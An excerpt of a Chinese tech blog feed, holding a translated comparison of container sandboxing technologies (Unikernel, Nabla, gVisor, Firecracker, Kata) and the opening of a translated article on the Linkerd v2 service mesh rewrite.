&lt;p&gt;目前容器技术的发展，得益于两项技术的进步：Linux 命名空间以及 Linux Control Group（cgroup）。命名空间虚拟隔离的用户空间，并且给应用分配独立的系统资源，例如文件系统、网络栈、进程号以及用户编号等。在这个隔离的用户空间中，PID = 1 的应用程序控制了文件系统的根，并可以用 root 的身份运行。这个抽象的用户空间允许每个应用都不受同一主机上运行的其它应用的影响。目前有六个可用的命名空间：&lt;code&gt;mount&lt;/code&gt;、&lt;code&gt;inter-process communication&lt;/code&gt; (ipc)、&lt;code&gt;UNIX time-sharing system&lt;/code&gt; (uts)、&lt;code&gt;process id&lt;/code&gt; (pid)、&lt;code&gt;network&lt;/code&gt; 以及 &lt;code&gt;user&lt;/code&gt;。另外还提议了两个额外的命名空间，分别是 &lt;code&gt;time&lt;/code&gt; 和 &lt;code&gt;syslog&lt;/code&gt;，但是 Linux 社区还在对其规范进行定义。Cgroups 为应用进行硬件的限制、优先级、审计和控制。CPU、内存、设备和网络都是硬件资源。当把命名空间和 cgroup 组合起来，我们就可以在单一主机上，安全的运行多个应用，并且其中的每个应用都有各自的隔离环境，这是容器的的根本。&lt;/p&gt;

&lt;p&gt;虚拟机和容器之间的区别是，虚拟机是硬件层的虚拟化，而容器是操作系统级的。虚拟机管理器（VMM）为每个虚拟机模拟一个硬件环境，容器运行时则为每个容器模拟一个操作系统。虚拟机共享主机的物理硬件，容器会共享主机操作系统的内核以及物理硬件。因为容器从主机上共享的资源更多，它们对存储、内存以及 CPU 的利用比虚拟机更加有效。然而共享越多，其代价就是容器之间、容器和主机之间的信任边界就越模糊。图 1 中描述了虚拟机和容器的架构差异。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/image1.png&#34; alt=&#34;vm vs container&#34; /&gt;&lt;/p&gt;

&lt;p&gt;相对于命名空间隔离技术而言，虚拟化硬件隔离通常会有更好的安全边界。容器（进程）中逃出的攻击者，往往比虚拟机中逃出的攻击者具有更大的威胁。命名空间和 cgroup 的弱隔离是造成这种风险的原因。Linux 为每个进程中加入新的属性字段，通过这种方式实现了命名空间和 cgroup。这些在 &lt;code&gt;/proc&lt;/code&gt; 文件系统中的字段会告诉主机操作系统，一个进程是否能看到其它进程，或者这个进程能够使用的 CPU 或内存的预算。如果从主机操作系统上查看运行中的进程和线程（例如 &lt;code&gt;top&lt;/code&gt; 和 &lt;code&gt;ps&lt;/code&gt; 命令），容器进程看起来和主机上的其它进程都是很相似的。一般来说 LXC 或者 Docker 这样的传统容器，在同一主机上运行时，会共享统一主机的同一内核，因此不能称其为沙箱。例如 &lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2014-3519&#34; target=&#34;_blank&#34;&gt;CVE-2014-3519&lt;/a&gt;、&lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2016-5195&#34; target=&#34;_blank&#34;&gt;CVE-2016-5195&lt;/a&gt;、&lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2016-9962&#34; target=&#34;_blank&#34;&gt;CVE-2016-9962&lt;/a&gt;、&lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2017-5123&#34; target=&#34;_blank&#34;&gt;CVE-2017-5123&lt;/a&gt; 以及 &lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2019-5736&#34; target=&#34;_blank&#34;&gt;CVE-2019-5736&lt;/a&gt;，都会从容器中越狱而出。多数内核漏洞都适用于容器逃逸，这是因为内核漏洞通常会导致权限升级，最终允许受攻击的进程在原命名空间之外获得控制权。除了经由软件漏洞进行的攻击之外，错误的配置，例如部署一个具备过高权限（例如 &lt;code&gt;CAP_SYS_ADMIN&lt;/code&gt;、&lt;code&gt;privileged&lt;/code&gt;）的容器，或者关键挂载点（例如 &lt;code&gt;/var/run/docker.sock&lt;/code&gt;）都可能引发容器逃逸。想在多租户集群中部署容器、或者把包含有敏感数据的容器和其它不受信容器部署在同一主机上，就要考虑一下发生灾难性后果的可能性了。&lt;/p&gt;

&lt;p&gt;这些安全性方面的担忧，促使研究人员为容器构建了更强的信任边界。具体的解决方式就是创建一个真正的沙箱容器，尽可能的从主机操作系统中隔离开来。多数解决方案都是一种混合架构，在虚拟机的强信任边界和容器的高效率之间尝试取得平衡。在成文之时，还没有任何一个项目成熟到能够成为标准，但未来的容器发展毫无疑问地会采纳其中一些有用的概念。本文的剩余部分会讨论几个有前途的项目，并对它们的特点进行比较。&lt;/p&gt;

&lt;p&gt;我们会从 Unikernel 开始，它是最早的一个单一目标虚拟机的尝试，它把应用和最小化的操作系统库打包成为单一镜像。很多致力于创建安全、低耗的最优化虚拟机镜像的未来项目，都以 Unikernel 的概念为基础。然后我们会看看 IBM 的 Nabla，这个项目的目标是像容器一样的运行 Unikernel 应用；接下来是 Google gVisor，它在用户空间的内核中运行容器。在这两个类 Unikernel 项目之后，我们把目光转向以虚拟机为基础的容器方案，Amazon 的 Firecracker 以及 OpenStack Kata。最后一节的结论中，会对所有的方案进行比较。&lt;/p&gt;

&lt;h2 id=&#34;unikernel&#34;&gt;Unikernel&lt;/h2&gt;

&lt;p&gt;虚拟化技术让云计算成为可能。Xen 以及 KVM 这样的 VMM 是 AWS 和 GCP 的基石之一。虽然现代 VMM 能在单一集群内处理几百个虚拟机，然而传统的通用操作系统构建出来的虚拟机通常没有为在虚拟化环境中的运行进行优化。通用操作系统的设计目标是尽可能支持更多类型的应用程序，所以它的核心会包含所有类型的驱动、协议以及调度器。然而当前云中运行的虚拟机通常是被单一应用独占的，例如 DNS、代理服务器或者数据库。每个应用都只依赖于一小部分内核功能，闲置的内核功能不但浪费了系统资源，还扩大了攻击面积。更多的代码，就要面对更多的安全和隐患和 Bug。这种现状促使计算机科学家们用最小化的内核功能来支持单一应用，从而设计出了单一用途的操作系统。&lt;/p&gt;

&lt;p&gt;操作系统研究者们在 90 年代提出了 Unikernel 的概念。Unikernel 是一个特别的单寻址空间的虚拟机镜像，能够直接运行在 VMM 上。它把应用程序及其依赖的内核功能打包到一个镜像之中。 &lt;a href=&#34;https://en.wikipedia.org/wiki/Nemesis_(operating_system)&#34; target=&#34;_blank&#34;&gt;Nemesis&lt;/a&gt;和 &lt;a href=&#34;https://en.wikipedia.org/wiki/Exokernel&#34; target=&#34;_blank&#34;&gt;Exokernel&lt;/a&gt; 是 Unikernel 最早的两个学术项目。图 2 描述了 Unikernel 虚拟机镜像创建和部署的过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/image2.png&#34; alt=&#34;Figure 2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Unikernel 把内核拆分为多个库，只将应用依赖的库打包到镜像里。跟虚拟机类似，Unikernel 在虚拟机 VMM 上工作。低耗的 Unikernel 能够快速的启动和扩容。Unikernel 的突出特点就是安全、低耗、高度优化和快速启动。Unikernel 镜像只包含应用依赖的库，如果不做特别要求，其中甚至连 Shell 都没有，这就减小了受攻击面积。不但是攻击者缺乏落脚点，就算是有定制失误的镜像，其影响范围也只在它自己的实例之中。Unikernel 镜像只有几兆，因此能在几十毫秒内完成启动，还可以在单一主机上运行几百个实例。用单一寻址空间代替多数现代操作系统中使用的多级页表，Unikernel 应用的内存访问延迟比虚拟机中更低。由于应用是在构建镜像时进行编译的，编译器能够进行更多的静态类型检查，从而优化二进制文件的效率。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://unikernel.org/projects/&#34; target=&#34;_blank&#34;&gt;Unikernel.org&lt;/a&gt; 维护了一个 Unikernel 项目的列表。即便是具有这样鲜明的特点，Unikernel 还是没有获得太多关注。Docker 2016 年收购了一家 Unikernel 的初创公司，大家认为 Docker 可能要把容器打包到 Unikernel 里面。三年后，还是没有出现任何集成的迹象。进展缓慢的重要原因之一就是，还没有成熟的构建 Unikernel 应用的成熟工具，大多数 Unikernel 应用只能在特定 VMM 中运行。另外要把应用移植到 Unikernel 上，可能需要针对不同语言进行定制，并且手动选择依赖的内核库。Unikernel 中的监控和排错即使能做得到，也会对性能造成很大影响。所有这些限制，都降低了开发者向 Unikernel 迁移的意愿。容器和 Unikernel 有很多相似之处。它们都是单一用途的只读镜像，意味着镜像中的组件无法更新或补丁，要更新应用就必须更新镜像。今天的 Unikernel 有点像前 Docker 时代：没有容器运行时可用，开发者必须使用 &lt;code&gt;chroot&lt;/code&gt;、&lt;code&gt;unshare&lt;/code&gt; 和 &lt;code&gt;cgroup&lt;/code&gt; 等基础工具来把应用放入沙箱。&lt;/p&gt;

&lt;h2 id=&#34;ibm-nabla&#34;&gt;IBM Nabla&lt;/h2&gt;

&lt;p&gt;IBM 的研究者们提出了 &lt;a href=&#34;https://dl.acm.org/citation.cfm?id=3267845&#34; target=&#34;_blank&#34;&gt;Unikernel as process&lt;/a&gt; 的点子：Unikernel 应用以进程的形式在特定的虚拟机系统中运行。IBM 的 &lt;a href=&#34;https://github.com/nabla-containers&#34; target=&#34;_blank&#34;&gt;Nabla Containers&lt;/a&gt; 项目，用面向 Unikernel 的 Nabla Tender 替换了 QEMU 这样的通用 VMM，进一步强化了 Unikernel 的信任边界。Unikernel 和通用 VMM 之间的 Hypercall 还是一个很大的受攻击面积，所以针对 Unikernel 的 VMM 可以使用更少的系统调用，从而显著的提高安全性。Nabla Tender 拦截 Unikernel 发送给 VMM 的 Hypercall，并翻译为系统调用。Linux Seccomp 策略会阻断所有 Tender 不需要的系统调用。Unikernel 和 Nabla Tender 以用户空间进程的形式在主机上运行。图 3 展示了 Nabla 在 Unikernel 应用和主机之间创建瘦接口的过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/image3.png&#34; alt=&#34;Figure 3&#34; /&gt;&lt;/p&gt;

&lt;p&gt;研究者声称，Nabla Tender 和主机的通信使用了不到 7 个系统调用。由于系统调用是用户空间进程和操作系统内核之间的桥梁，越少的系统调用，就越难攻击到核心。把 Unikernel 运行为进程还有个好处就是使用 gdb 这类基于进程的调试器进行调试。&lt;/p&gt;

&lt;p&gt;为了和容器编排平台对接，Nabla 还提供了符合 OCI 运行时标准的 Nabla 运行时 &lt;code&gt;runnc&lt;/code&gt;。OCI 运行时标准规范了运行时客户端（例如 Docker 和 Kubelet）以及运行时（例如 Runc）之间的 API。Nabla 还提供了一个镜像构建器，用于创建能够使用 runnc 运行的 Unikernel 镜像。Unikernel 和传统容器的文件系统之间存在差异，因此 Nabla 没有遵循 OCI 的镜像标准，换句话说， Docker 镜像和 runnc 是不兼容的。在本文写作期间，这个项目还在早期试验阶段，还有一些功能缺失，例如加载/访问主机文件系统的能力、加入多网卡的能力（Kubernetes 需要）或者从其它 Unikernel 镜像进行引用的能力。&lt;/p&gt;

&lt;h2 id=&#34;google-gvisor&#34;&gt;Google gVisor&lt;/h2&gt;

&lt;p&gt;Google gVisor 是 GCP App Engine、Cloud Functions 和 CloudML 中使用的沙箱技术。Google 意识到在公有云基础设施中运行不受信容器的风险，以及虚拟机沙箱的低效，因此开发了用户空间的内核作为沙箱来运行不受信应用。gVisor 通过拦截所有从应用到主机内核的系统调用，并使用用户空间中 gVisor 的内核实现来处理这些调用。本质上来说，gVisor 是 VMM 和客户内核的组合，图 4 展示了 gVisor 的架构。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/image7.png&#34; alt=&#34;Figure 4&#34; /&gt;&lt;/p&gt;

&lt;p&gt;gVisor 在应用和主机之间建立了稳固的安全边界。这个边界限制了应用在用户空间的系统调用。无需依赖虚拟硬件，gVisor 以主机进程的方式运行，充当主机和应用之间的沙箱。哨兵实现了多数的 Linux 系统调用，尤其是内核功能，例如信号分发、内存管理、网络栈以及线程模型。&lt;a href=&#34;https://gvisor.dev/docs/user_guide/compatibility/amd64/&#34; target=&#34;_blank&#34;&gt;哨兵已经实现了 319 个 Linux 系统调用中的 70% 多，用于为沙箱应用提供支持&lt;/a&gt;。哨兵和主机内核的通信只使用了不到 20 个 Linux 系统调用。gVisor 和 Nabla 有很相似的策略：保护主机。它们都使用了不到 10%的系统调用来和主机内核通信。gVisor 创建通用核心，而 Nabla 依赖的是 Unikernel，它们都是在用户空间运行特定的客户内核来支持沙箱应用的运行。&lt;/p&gt;

&lt;p&gt;有人可能会奇怪，开源的 Linux 内核已经如此稳定，为什么 gVisor 还要重新实现一个。gVisor 的内核使用的是 Golang，其中的强类型安全以及内存管理都比 C 编写的 Linux 内核更安全。gVisor 的另外一个重要卖点就是它和 Docker、Kubernetes 以及 OCI 标准的紧密集成。把运行时修改为 gVisor runsc，就能拉取和运行大多数的 Docker 镜像了。在 Kubernetes 里，可以把整个 Pod（而非每个容器分别）运行在 gVisor 沙箱中。&lt;/p&gt;

&lt;p&gt;gVisor 还在婴儿期，也一样有一些限制。gVisor 要拦截和处理沙箱应用中的系统调用，总要有一定开销，因此不适合系统调用繁重的应用。注意 Nabla 没有这个开销，这是因为 Unikernel 应用不进行系统调用。Nabla 只使用 7 个系统调用来处理 Hypercall。gVisor 没有直接的硬件访问（透传），所以如果应用需要硬件（例如 GPC）访问，就无法在 gVisor 上运行。最后，gVisor 没有实现所有的系统调用，因此使用了未实现系统调用的应用是无法在 gVisor 上运行的。&lt;/p&gt;

&lt;h2 id=&#34;amazon-firecracker&#34;&gt;Amazon Firecracker&lt;/h2&gt;

&lt;p&gt;Amazon Firecracker 用于 AWS Lambda 和 AWS Fargate。它是一个 VMM，会创建轻量级虚拟机（MicroVM），特别适合多租户容器和无服务器场景。在 Firecracker 出现之前，Lambda 和 Fargate 都在每个客户独立的 EC2 虚拟机上运行，从而保证强隔离。虽然在公有云中，虚拟机的强隔离性要优于容器，但是使用通用的 VMM 和虚拟机来做应用沙箱是很不经济的。Firecracker 为云原生应用定制了 VMM，兼顾了安全和性能两方面问题。Firecracker VMM 为每个客户虚拟机提供了最小操作系统功能，并且模拟设备来增强安全和性能。&lt;a href=&#34;https://github.com/firecracker-microvm/firecracker/blob/master/docs/rootfs-and-kernel-setup.md&#34; target=&#34;_blank&#34;&gt;可以用 Linux 内核以及 ext4 文件系统轻松的构建运行在 Firecracker 之上的虚拟机镜像&lt;/a&gt;，Amazon 在 2017 年开始开发 Firecracker，并在 2018 年开源。&lt;/p&gt;

&lt;p&gt;和 Unikernel 概念类似，只有一个功能和设备的小子集可以用于容器操作。和传统虚拟机对比，microVM 在受攻击面积、内存消耗和启动时间方面都很有优势。&lt;a href=&#34;https://github.com/firecracker-microvm/firecracker/blob/master/SPECIFICATION.md&#34; target=&#34;_blank&#34;&gt;评估&lt;/a&gt;表明，Firecracker 的 microVM，运行在 2CPU 和 256G 内存的主机上，消耗不到 5MB 内存，启动大约用了 125ms。图 5 展示了 Firecracker 架构以及它的安全边界。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/image4.png&#34; alt=&#34;Figure 5&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Firecracker VMM 依赖于 KVM，每个 Firecrfacker 实例都以用户空间进程的方式运行。每个 Firecracker 进程都被 seccomp、cgroup 和命名空间策略锁定，因此它的系统调用、硬件资源、文件系统和网络活动都被严格限制。每个 Firecracker 进程中都有多个线程。API 线程作为客户端和主机以及 microVM 之间的控制平面。VMM 线程呈现了一个 virtIO 设备的最小集（网络和块设备）。Firecracker 只提供了 4 个模拟设备给 microVM：virtio-block、virtio-net、串口控制台以及一个用于停止 microVM 的只有一个按钮的键盘。为了安全性考虑，虚拟机不提供和主机分享文件的机制。主机上的数据（例如容器镜像），通过块设备暴露给 microVM。虚拟机的网络接口由网桥上的 TAP 设备提供支持。所有的出栈数据包都会拷贝到 TAP 设备，并受 cgroup 策略的速率限制。安全边界的层次最大程度的降低了用户应用之间互相干扰的可能性。&lt;/p&gt;

&lt;p&gt;目前为止，Firecracker 还没有完全和 Docker 以及 Kubernetes 完成集成。Firecracker 不支持硬件透传，所以需要 GPU 以及任何设备加速访问的应用都无法兼容。它限制了虚拟机和主机的文件共享以及网络模型。然而这个项目有强力的社区支持，应该很快会和 OCI 标准打通并支持更多应用。&lt;/p&gt;

&lt;h2 id=&#34;openstack-kata&#34;&gt;OpenStack Kata&lt;/h2&gt;

&lt;p&gt;出于对传统容器安全性的担忧，Intel 在 2015 年启动了它们以虚拟机为基础的容器技术：Clear　Container。Clear Container 依赖 Intel VT 的硬件虚拟化技术以及高度定制的 QEMU-KVM（qemu-lite）来提供高性能的基于虚拟机的容器。在 2017 年，&lt;a href=&#34;https://clearlinux.org/news-blogs/kata-containers-next-evolution-clear-containers&#34; target=&#34;_blank&#34;&gt;Clear container 项目加入了 Hyper RunV，这是一个基于 hypervisor 的 OCI 运行时，从而启动了 Kata 容器项目&lt;/a&gt;。继承了 Clear Container 的所有财产，Kata 现在支持更多的基础设施和容器规范。&lt;/p&gt;

&lt;p&gt;Kata 完整的集成了 OCI、CRI 以及 CNI，它支持多种网络模型以及可配置的客户内核，这样一些有特别网络需求或者内存版本限制的应用就可以得到支持了，图 6 展示了 Kata 和现有编排平台的交互。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/image5.jpg&#34; alt=&#34;Figure 5&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Kata 在主机上有一个 &lt;code&gt;kata-runtime&lt;/code&gt;，用于配置新容器。在 Kata VM 中的每个容器，在主机上都有对应的 Kata Shim。Kata Shim 从客户端接收 API 请求（Docker 或  Kubelet），通过 VSock 转发请求到 Kata 虚拟机中的代理。Kata 作出很多优化启动时间的优化。NEMU 是一个轻量级的 QEMU，约有 80% 的设备和包被删除。VM-Templating 克隆一个运行中的 Kata VM 实例，并分享给其它新启动的 Kata VM。这一操作能够显著降低启动时间以及内存消耗，但是可能受到跨虚拟机的边缘通道攻击，例如 &lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2015-2877&#34; target=&#34;_blank&#34;&gt;CVE-2015-2877&lt;/a&gt;。热插拔功能让虚拟机以最小资源启动（例如 CPU、内存、virtio block），并在有申请时加入额外的资源。&lt;/p&gt;

&lt;p&gt;Kata 容器和 Firecracker 都是基于虚拟机的沙箱技术，也都是服务于云原生应用的。但是它们用不同的方法来实现目标。Firecarcker 用一个特定的 VMM 来给客户操作系统创建安全的虚拟化环境，而 Kata 是一个为运行容器而高度优化的轻量级虚拟机。&lt;a href=&#34;https://github.com/kata-containers/documentation/wiki/Initial-release-of-Kata-Containers-with-Firecracker-support&#34; target=&#34;_blank&#34;&gt;有人已经尝试在 Firecracker VMM 上运行 Kata&lt;/a&gt;。这个项目还在试验阶段，也许会把两个项目的长处融为一体。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;我们已经看了多个用于解决容器隔离问题的方案。IBM Nabla 是一个基于 Unikernel 的方案，把应用打包为特别的虚拟机。Google gVisor 是特制 VMM 和客户操作系统核心的结合，提供了应用和主机之间的安全界面。Amazon Firecracker 是一个特定的 VMM，为每个客户操作系统提供最小化的硬件和内核资源。Kata 是高度优化的虚拟机，内置了容器引擎，可以运行在 VMM 上。这些方案各有优劣，很难说那个更好。表格 1 中展示了一个针对重要功能的对比表。如果你有应用运行在 Unikernel 系统中，例如 MirageOS 或者 IncludeOS，Nabla 是最佳选择。gVisor 是目前和 Docker 和 Kubernetes 集成最好的，但是因为系统调用实现不完整，有些应用可能无法运行。Firecracker 支持自定义的客户操作系统镜像，所以如果你的应用需要在特定虚拟机上运行，它是你的最佳方案。Kata 兼容 OCI，在 KVM 以及 Xen 上都能运行。它可以简单的在混合环境中部署微服务。&lt;/p&gt;

&lt;p&gt;虽然可能需要很长时间，才能看到有一个或多个解决方案最终被主流接受，但已经可以看到大多数云厂商已采取行动来解决这些问题。对于构建本地云原生平台的组织而言，它不是世界末日。快速修补、最小权限配置和网络分段等常见做法都可以有效地减少被攻击面。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/image6.png&#34; alt=&#34;Table 1&#34; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Linkerd v2：响应实际生产需求的新一代服务网格</title>
      <link>/post/linkerd-v2-production-adoption/</link>
      <pubDate>Tue, 02 Jul 2019 13:20:58 +0800</pubDate>
      <guid>/post/linkerd-v2-production-adoption/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.infoq.com/articles/linkerd-v2-production-adoption/&#34; target=&#34;_blank&#34;&gt;Linkerd v2: How Lessons from Production Adoption Resulted in a Rewrite of the Service Mesh&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://www.infoq.com/profile/William-Morgan/&#34; target=&#34;_blank&#34;&gt;William Morgan&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;关键信息&#34;&gt;关键信息&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Linkerd 2.0 在一个被广泛接受的服务网格产品的基础上进行了大量改造，原产品使用 Scala 实现，从 Twitter 的 Finagle RPC 系统中受益良多。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;新版本产品从 JVM 转为使用 Go（控制平面）和 Rust（数据平面）协作实现。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Buoyant 团队在 Rust 网络栈方向进行了深入的探索，并简化 UX，提升易用性，降低学习门槛。最终造就了更快、更轻更简单的运维体验。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linkerd 2.0 诞生至今已经过了 6 个多月，团队相信这次重写已经开始获得回报，很多从前面对 Linkerd 1.x 感觉无从下手的用户，现在已经满意的开始使用 2.x。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;服务网格正成为现代云原生技术栈的重要成员。它把服务间通信（数据中心的惯用语中称之为东西向流量）的机制从应用代码迁移到了平台层，并提供了用于对通信进行度量和处理的工具，让运维人员以及平台所有者得到一个基本独立于应用代码的观察和控制层。&lt;/p&gt;

&lt;p&gt;服务网格这个名词的历史还很短，背后的概念却不是那么新潮。这些概念在 Twitter、Netflix 和 Google 等公司中使用了超过十年，一般是通过 &lt;a href=&#34;https://twitter.github.io/finagle/&#34; target=&#34;_blank&#34;&gt;Finagle&lt;/a&gt;、&lt;a href=&#34;https://github.com/Netflix/Hystrix&#34; target=&#34;_blank&#34;&gt;Hystrix&lt;/a&gt; 以及 &lt;a href=&#34;https://landing.google.com/sre/sre-book/chapters/production-environment/&#34; target=&#34;_blank&#34;&gt;Stubby&lt;/a&gt; 这样的胖客户端形式实现的。从技术视角来看，现代服务网格中，部署协作代理（Sidecar）的方式是胖客户端组件的变体，将客户端库换成代理服务器，这种方式因为 Docker 和 Kubernetes 这样的容器和容器编排系统的流行而逐步成为可能。&lt;/p&gt;

&lt;p&gt;服务网格的流行趋势始于 &lt;a href=&#34;https://linkerd.io/&#34; target=&#34;_blank&#34;&gt;Linkerd&lt;/a&gt;，它是服务网格的最早产品和项目。在 2016 年发布第一个版本开始，目前有两条并行的开发路线：原始的 1.x 分支，构建在 &amp;ldquo;Twitter 技术栈&amp;rdquo; 之上，包含了 Scala、Finagle、Netty 以及 JVM；2.x 分支使用 Rust 和 Go 从头做起。&lt;/p&gt;

&lt;p&gt;Linkerd 2.0 的出现，不仅是对底层的重新实现、还因为在多年以来的生产环境中的应用过程中总结了很多经验教训，所以在方法层面也有了很大改观。本文将对这些实践经验进行讨论，并探究其成为 Linkerd 2.0 哲学、设计和实现基础的原因。&lt;/p&gt;

&lt;h2 id=&#34;linkerd-是什么-值得注意么&#34;&gt;Linkerd 是什么？值得注意么？&lt;/h2&gt;

&lt;p&gt;Linkerd 是一个开源的服务网格项目，也是 CNCF 成员。它在 2016 年出现，为全球各种规模的公司提供生产级别的架构支持，客户不仅包含 Strava 和 Planet Labs 这样的初创公司，还有 ComCast、Expedia、Ask 和 Chase Bank 等大型企业。&lt;/p&gt;

&lt;p&gt;Linkerd 为微服务应用提供了可观察行、韧性和安全性方面的支撑。尤其重要的是，这些功能是属于平台层的。这意味着 Linkerd 的功能是跨越所有服务、独立于实现方式的，这就让平台的所有者能够跳出对开发团队的路线图和路线选择的依赖，进行独立思考。例如 Linkerd 能够在服务之间的通信中加入 TLS，让平台运维人员能够配置证书的生成、分发和验证过程，无需在服务开发团队的路线图中加入 TLS 的相关工作。&lt;/p&gt;

&lt;p&gt;Linkerd 是通过在网格中的服务中加入透明的 L5/L7 代理完成工作的。这些代理构成了 Linkerd 的数据平面，负责处理各自代理服务的所有出入流量。数据平面受到控制平面的管理，Linkerd 的控制平面是一组进程，为运维人员提供集中的对流量进行观测和管理的服务。&lt;/p&gt;

&lt;p&gt;Linkerd 基于对现实的一个认识：流经微服务的通信，和应用自身的代码一样，都是其运维工作的重要组成部分。Linkerd 无法介入微服务的内部，但是可以通过对成功率、吞吐量以及响应延迟的观测，来报告服务的健康情况。与此类似，Linkerd 无法修改应用的错误处理逻辑，但是可以通过对失败或缓慢的请求进行重试，来提高服务的健康程度。Linkerd 还能对连接进行加密，提供安全的服务身份认证，使用流量迁移的方式完成金丝雀和蓝绿部署等功能。&lt;/p&gt;

&lt;h2 id=&#34;linkerd-1-x&#34;&gt;Linkerd 1.x&lt;/h2&gt;

&lt;p&gt;我们在 Twitter 运行的应用，是业界最早、最大规模的微服务应用之一，Linkerd 就诞生于这种运维经验之中。Twitter 从三层的 RoR 应用迁移到了 Mesos 和 JVM 基础之上的类似云原生的架构，这个过程中创建了一个库：&lt;a href=&#34;https://twitter.github.io/finagle/&#34; target=&#34;_blank&#34;&gt;Finagle&lt;/a&gt;，它为每个服务提供了服务发现、重试、监控等功能。Finagle 是 Twitter 进入大规模微服务阶段的重要一步。&lt;/p&gt;

&lt;p&gt;Linkerd 1.x 诞生于 2016 年，根植于经过生产考验的 Twitter 技术栈：Finagle、Scala、Nettfy 和 JVM。我们最初的目标很简单：把 Finagle 的强力语义公诸于世。用 Scala 库的形式提供异步 RPC 支持是很受限的，因此我们将 Finagle 绑定为代理服务器的形式，这样就可以为各种语言编写的应用提供服务了。与此同时，容器和编排系统的快速蹿红，很好的降低了为每个服务实例部署代理的成本。Linkerd 增长强劲，尤其是在快速推进 Docker 和 Kubernetes 之类新技术的云原生社区。&lt;/p&gt;

&lt;p&gt;从无到有，Linkerd 和服务网格模型本身都得到了长足的进步。今天 Linkerd 的 1.x 分支正在世界各地的公司中广泛采用，并在持续的发展之中。&lt;/p&gt;

&lt;h2 id=&#34;linkerd-的经验教训&#34;&gt;Linkerd 的经验教训&lt;/h2&gt;

&lt;p&gt;Linkerd 虽然很成功，很多组织还是不想将 Linkerd 部署到生产环境，或者愿意这样做，但是要进行大量投入。&lt;/p&gt;

&lt;p&gt;这种情况的形成，有很多方面的原因。有的组织不想把 JVM 引进到自己的环境之中。JVM 的运维较为复杂，有些运维团队因为这样那样的原因，拒绝任何基于 JVM 的软件进入他们的系统——尤其是 Linkerd 这样担任关键角色的系统。&lt;/p&gt;

&lt;p&gt;其它的组织不愿意为 Linkerd 分配系统资源。一般来说，Linkerd 1.0 在资源充足的情况下，是很能承受规模负载的——单一进程每秒能够处理几万的的请求；然而对付小负载的能力让人不太满意——单进程的 RSS 很难降低到 150MB 以下。Scala、Netty 和 Finagle 加剧了资源问题——它们的共同目标都是在资源充足的环境下提供最大的吞吐量。&lt;/p&gt;

&lt;p&gt;一个组织可能要部署成百上千个 Linkerd 代理，资源消耗颇为可观。作为妥协，我们建议用户为每个节点而非进程部署数据平面，这样用户能够降低资源消耗。然而这样一来就提高了运维的复杂性，限制了 Linkerd 的能力实现，例如为每个服务提供 TLS 证书。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;最近 JVM 在这方面有了长足的进步。Linkerd 1.x 的资源消耗和尾部延迟在 IBM OpenJ9 上都大有改观，并且 Oracle 的 GraalVM 承诺会作出进一步的改善。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;最后一点，还有复杂性方面的问题。Finagle 是一个功能非常丰富的库，我们将其中的很多功能直接通过配置文件的形式暴露给了用户。结果是 Linkerd 1.x 具有很好的定制性和弹性，但是也有了陡峭的学习曲线。其中一个设计失误就是引入了 dtab 这一来自 Finagle 的路由语言作为基础配置原语。任何想要对 Linkerd 行为进行定制的用户都会陷入到 dtab 之中，在投入使用之前都需要进行很多的智力投入。&lt;/p&gt;

&lt;h2 id=&#34;重新开始&#34;&gt;重新开始&lt;/h2&gt;

&lt;p&gt;尽管 Linkerd 的接受度还在上升之中，我们在 2017 年底得出共识，我们必须重新审视我们的方案。Linkerd 的价值主张无疑是正确的，但是它对运维团队的高要求可能不太必要。当我们反思我们在协助组织采用 Linkerd 的经验时，我们确认了一些面向未来的关键原则：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;节省资源&lt;/strong&gt;：Linkerd 应该尽可能的降低性能和资源成本，尤其是代理层。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;开箱即用&lt;/strong&gt;：Linkerd 不应该扰乱现存的应用，也不应该依赖复杂的配置。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;简单易用&lt;/strong&gt;：Linkerd 应该能够用较低的认知门槛来进行韵味。组件应该让用户感觉到清晰，其行为应该易于理解。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;每一项需求都是一系列的挑战，为了降低系统资源需求，我们只能告别 JVM。为了开箱即用，我们需要在网络协议检测等复杂技术上进行钻研。最后，简单是最复杂的需求，我们要在每个方面明确的落实极简主义、渐进性和内省的原则。&lt;/p&gt;

&lt;p&gt;面对这次重写，我们认为我们首先应该专注于一个初始的用例。我们决定聚焦在 Kubernetes 环境下的通用协议，包括 HTTP、HTTP/2 以及 gRPC，这只是一个起点，以后会突破这些约束进行扩展。&lt;/p&gt;

